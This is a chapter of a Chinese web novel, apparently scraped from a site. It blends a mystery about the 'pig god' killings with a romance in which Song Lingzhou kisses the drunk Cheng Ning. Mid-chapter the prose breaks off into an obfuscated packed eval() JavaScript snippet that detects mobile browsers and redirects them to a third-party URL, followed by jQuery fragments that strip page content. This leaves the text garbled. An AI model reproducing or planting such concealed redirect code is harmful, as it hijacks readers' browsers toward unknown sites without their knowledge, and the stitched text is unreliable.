雅间内散落着几十瓶酒瓶,满室弥漫着酒香。程宁和月华醉倒在桌上,口中还不忘含糊着说着酒令。
宋凌舟无奈地摇头,对着杜应悔说道:“我带阿宁回去,月华就麻烦你帮忙送一下了。”
杜应悔:“哦,好。”
绿萼和杜应悔搀扶起月华公主,正要往门外走,就听到月华猛地大喊了一句,“姑姑,我,我,还能喝!”
杜应悔问向绿萼:“她刚才说什么?”他怎么隐约听到了她叫谁姑姑?皇上没有姊妹,那她哪里来的什么姑姑?
可惜绿萼也没听清,她含糊着答道:“公主醉了,大人我们快送公主回去吧。”
“别走,再喝!”程宁也从桌上睁开一只眼,看到月华要走,便挣扎着想起身去拦住她。
“阿宁,别闹!”见他跌跌撞撞地要摔倒,宋凌舟赶紧一把把人搂进怀中。
今日阿宁着实是喝了不少酒,原本束好的发松散了下来,几缕发丝散在脸庞。整个人少了几分少年气多了些柔美。宋凌舟的手放在他纤瘦的肩膀上,目光一瞬不瞬地看着他。
叶临远看到这一幕,吓得从座位上弹了起来,快走几步追上杜应悔,“大人我陪你一起去送公主。”
杜应悔顿住脚步等他,回头也看到了两人依偎在一起的模样。“这个程宁怕不是妖精变得吧?连宋凌舟这种冷心冷肺之人也能为了他不顾世俗礼教!”
程宁彻底得醉了,因为站不稳他干脆拉着宋凌舟一起躺在了雅室的软榻上。
宋凌舟不知道其余人是何时走的,只知道今晚的月色实在是昏沉,雅室内安静到能清晰地听到自己的心跳声。
烛光下,程宁平日里澄澈清明的眼睛此刻醉意朦胧,他伸出手轻抚宋凌舟的眉骨,叹息道:“大人长得真好看啊,我真想......”
宋凌舟眼睛盯着他饱满的双唇,喉结微动。程宁不知道,此刻他那沾染了酒水的红唇诱人得很,让人忍不住想把人压在身下,肆意蹂躏......
明知道他是醉了此刻他断然说不出什么正经话,宋凌舟还是忍不住问道:“你想干什么?”
程宁带着醉意笑道:“唔,想亲亲......”
宋凌舟深吸口气,才缓缓开口道:“这是你说的,别后悔。”
“什么意......思?”程宁半眯着双眼说道,大脑早已经困倦得无法思考。
他的话没还说完,宋凌舟已经欺身上前,冰凉的薄唇吻住了程宁的。
双唇相碰的瞬间,宋凌舟只觉得一束烟花在他的胸膛极速地炸了开来,美好绚烂得让人沉迷。即便知道前路是万劫不复,此刻他也只想就此沉沦......
“唔......”程宁只觉得唇边柔软极了,于是伸出舌头轻轻舔舐。他不知道这无意识的小动作无异于火上浇油,让宋凌舟尚存的最后一丝理智也焚烧殆尽。
为了让程宁更加舒适,宋凌舟倚靠在软榻的牙板,让他躺在自己微曲着的腿上,右臂紧紧地搂着他,左手轻抬他的脸庞,然后再次吻了上来.....不同于刚才的温柔缱绻,他这次的吻带着十足的侵略意味,灵巧的舌强势地挤进无人触碰过的秘境,肆意地掠夺着他口中的甘甜。
“嗯......”因胸腔中的空气急剧减少,怀中的人儿忍不住轻吟了一声。
虽然不舍,宋凌舟还是慢慢放开了程宁,他把头埋在程宁脖颈间,实在是不知道该怎么面对他。
轻抚上程宁睡熟的脸庞,宋凌舟温声说道:“你放心,既然我做了选择,便不会负你。”
***
翌日,宋凌舟刚走进县衙的内堂,就看到杜应悔正在屋内来回踱步。
“杜大人?”
“宋大人,你终于来了。”杜应悔简单行了个叉手礼,然后小声说道,“咱们的人这几日不是一直在跟踪胡府大公子么?”
宋凌舟点头,“嗯,可有何收获?”
杜应悔:“衙役们意外查到胡老爷出事那晚,就是这位胡公子打开了胡府的角门。”
宋凌舟:“所以你是怀疑他故意放猪神进府害了胡老爷?”
杜应悔:“正是。另外还有一点,有人打听到他前两日去了应天书院。”
“应天书院?”宋凌舟也有些诧异,据他所知胡府公子吃喝玩乐还算擅长,至于读书么?就只能说和他没一点儿关系了。
杜应悔:“正是。”
宋凌舟问道:“他去书院所为何事?”
杜应悔:“好像是寻人。”
宋凌舟:“寻何人?”
杜应悔:“好像是一个学子,姓朱,叫朱什么来着?”
宋凌舟:“朱崇古。”
“对对对,就是他。”杜应悔激动的拍了下大腿,片刻后又问道:“不过你怎么知道?”
宋凌舟把之前在尧山上遇到过朱崇古之事简要地与杜应悔说了,然后又继续说道:“加之他是上一个遇害举子的目击证人,所以特意派人查过此人。”
“你是怀疑他是.......”杜应悔心脏剧烈地跳动了起来,连忙急切地问道,“那......是他么?”
宋凌舟摇了摇头,“除了最近书院的案子,其余的死者死亡之时,他都有不在场的证人。”
“这么说,他不是猪神......”杜应悔有些失望。
宋凌舟:“虽然他很可疑,但是目前看来确实没有充足的证据指向他。”
杜应悔有些急躁地说道:“不是孙二郎,也不是这个书生朱崇古,那能是谁呢?总不能真是那纨绔胆小的胡公子吧?”
宋凌舟:“为什么不能是他?你不是说那迷药在他手上么?”
杜应悔翻了个白眼,“你别忽悠我了,就他那个胆小如鼠的模样?别说杀人了,就是杀只鸡恐怕都得吓晕过去!”
“杜大人,人不貌相。”宋凌舟不置可否地说道。
“那也不可能是他,你不也说了,猪神杀人是为了报复?他一个纨绔公子,跟那些死者半分关系也无,有什么可报复的?”
宋凌舟:“嗯,确实是说不太通。”
“那会是谁呢?”两个人都陷入了沉思。
就在这时,张五过来禀告道:“两位大人,找到那碎布的线索了。”
杜应悔的眼睛一亮,“太好了,快说。”
张五:“属下们跑遍了卢县的布匹店,查到那凶手的外衣就是再寻常不过的粗布,但是内衣却不是卢县人偏好的细麻而是黄草棉。”
杜应悔愈加失望,“这算什么线索?”
宋凌舟摇了摇头,“杜大人养尊处优自然不知道,这黄草棉需以秋天干枯的黄草纺制,材质粗粝,寻常人家但凡是有点儿钱财的都不会选这种棉布。而且最重要的是,这种黄草只有黄州有!”
杜应悔喜道:“你的意思是那猪神出身不高,且来自黄州?”
宋凌舟点点头,“另外,朱崇古应该也来自黄州!”
“我这就派人去查。”杜应悔边说边快步朝外走了出去。如今离皇上给的时限已经过去大半,但凡是有一丝线索,他都不想错过!
“没想到杜大人竟然是个急性子。”张五笑着朝宋凌舟说道。
宋凌舟:“嗯,他也是为了卢县的百姓,你也跟去吧,看看有什么能帮上忙的。”
“是!”张五应了一句,刚准备走又停了下来,踟蹰着对宋凌舟说道,“大人......有句话不知该不该讲.......”
宋凌舟皱眉道:“说!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874297|172043||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>张五指着宋凌舟的脖子说道:“大人要不要换件衣衫再出门?”
宋凌舟:“为何?”
张五:“呃,大人找个铜镜照照就知道了.......属下,先去帮杜大人了。”
宋凌舟盯着铜镜,看着自己脖子上面的青紫色的吻痕,忽然明白了为何刚才杜应悔看向自己时总是欲言又止!
“阿宁啊阿宁,你可真是......”想到昨晚的亲密,宋凌舟忍不住红了耳根。
“阿嚏!”阴城宅院内,程宁忽然打了个喷嚏。
“哈哈哈,程大哥,定然是有人在骂你。”麦子嘲笑道。
程宁瞪了他一眼,“瞎说!你大哥我人见人爱待人宽和,谁会骂我?”
“哈哈哈哈,这话说出来你自己都不信的吧?”麦子边帮程宁劈柴边说道。
“我自然信啊?别人信不信我就不知道了。”程宁躺在躺椅上,边磕着瓜子边说道,“你去牢里看过了么?齐叔这两天怎么样?葛大头答应我说找个机会就把他老人家放出来,这怎么还没消息?”
麦子:“你就放心吧,葛大头每日好酒好菜的供着,还陪他下棋解闷,师傅在牢里日子比在外面还好。”
程宁:“说起来,这个葛大头也是有意思,他一个县令怎么就和齐叔如此投缘了?”
麦子:“我也不知道,但是听师傅那个意思,早些年葛大头似乎是欠了他一个大人情。所以才会趁此机会报答一二。”
程宁腾地从躺椅上弹了起来,“你知道欠的是什么人情么?”
麦子举起斧子用力朝着木头劈下来,看着木头被自己一斧子劈成了两瓣才满意地擦了擦汗说道:“那我就不知道了。”
劈柴的声响惊动了依偎在一处的荣华富贵,一鸡一狗同时抬起头瞪向了麦子。
麦子也不惯着它们,他举起斧子朝着荣华威胁道:“富贵也惹不起便也罢了,荣华你再瞪眼,信不信我把你宰了炖汤吃?”
“诶,你别惹它......”
程宁刚要出言劝阻,荣华已经一个展翅飞了过来。它准确地落在了麦子的头上,朝着他的头猛地啄了一口。
“啊~~~~救命啊!!!!”麦子头上顶着荣华,疼得满院子跑,边跑边大声嚎叫着......
“我早说了,让你别惹它.......”程宁满眼不忍地说道。
麦子嗷嗷地嚎叫着答道:“我哪儿知道它会飞啊?”
“你认识它们那么久,就没发现么?”程宁不可思议地说道,“连富贵都听荣华的啊?”
麦子:“那你怎么不早说?!”
“你也没问啊?”程宁好笑地答道:“我哪儿知道你那么欠!”
眼瞅着麦子束起的头发都被荣华叼了下来,程宁才大声喊道:“荣华,停手!”
荣华停止了动作,但是一点儿没有下来的意思。
“下来!不然你今晚没米吃了!”程宁养的鸡狗和他一样,不怕别的,就怕没好吃的。听到这话,荣华也不含糊立刻飞回了富贵身边,重新打起盹来。
麦子揉着满头的包,不甘心地说道:“程大哥,真的不考虑晚上加个汤么?”
“赶紧去把柴劈好了,”程宁凉凉地白了他一眼,重新躺回了躺椅上。
麦子不甘心地扁扁嘴,重新拿起了斧子。忽地他又想到了什么,朝着程宁问道:“话说,你和宋大人昨晚吵架了么?”
程宁:“没有啊?为什么这么问?”
麦子:“我早上碰到宋大人看他脖子紫了一大块,跟他问起你,他也是含含糊糊的,我还以为他的伤是你揍的呢?
“是么?”程宁仔细想了半晌,才自言自语道,“我昨夜醉得厉害,难道真是我不注意伤了他?”